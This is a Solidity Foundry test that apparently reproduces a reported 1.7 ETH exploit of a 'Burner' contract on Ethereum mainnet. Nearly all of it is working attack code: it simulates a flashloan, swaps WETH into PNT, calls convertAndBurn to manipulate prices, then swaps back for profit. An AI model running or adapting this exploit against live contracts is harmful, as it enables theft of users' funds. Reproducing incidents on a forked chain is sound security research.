Burner_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : 1.7eth
// Attack Tx : https://etherscan.io/tx/0x3bba4fb6de00dd38df3ad68e51c19fe575a95a296e0632028f101c5199b6f714

// @Info
// https://x.com/0xNickLFranklin/status/1792925754243625311

interface IBurner is IERC20 {
    function convertAndBurn(
        address[] calldata tokens
    ) external;
}

contract ContractTest is Test {
    IBurner burner_ = IBurner(0x4d4d05e1205e3A412ae1469C99e0d954113aa76F);
    IERC20 usdt_ = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IERC20 wbtc_ = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
    IERC20 pnt_ = IERC20(0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD);
    IWETH weth_ = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));

    IUniswapV2Router router_ = IUniswapV2Router(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));

    function setUp() public {
        vm.createSelectFork("mainnet", 19_917_290);
        vm.deal(address(this), 0);
    }

    function testExploit() public {
        vm.deal(address(this), 70 ether); //simulation flashloan
        weth_.deposit{value: 70 ether}();
        weth_.approve(address(router_), type(uint256).max);
        pnt_.approve(address(router_), type(uint256).max);

        address[] memory path = new address[](2);
        path[0] = address(weth_);
        path[1] = address(pnt_);
        router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            weth_.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );

        console.log("=== ACK START ===");
        address[] memory tokens = new address[](3);
        tokens[0] = address(0x0);
        tokens[1] = address(wbtc_);
        tokens[2] = address(usdt_);
        burner_.convertAndBurn(tokens);
        console.log("=== ACK END ===");

        path[0] = address(pnt_);
        path[1] = address(weth_);
        router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            pnt_.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );

        weth_.transfer(address(0x01), 70 ether); // simulation repay flashloan
        emit log_named_decimal_uint("profit weth = ", weth_.balanceOf(address(this)), 18);
    }
}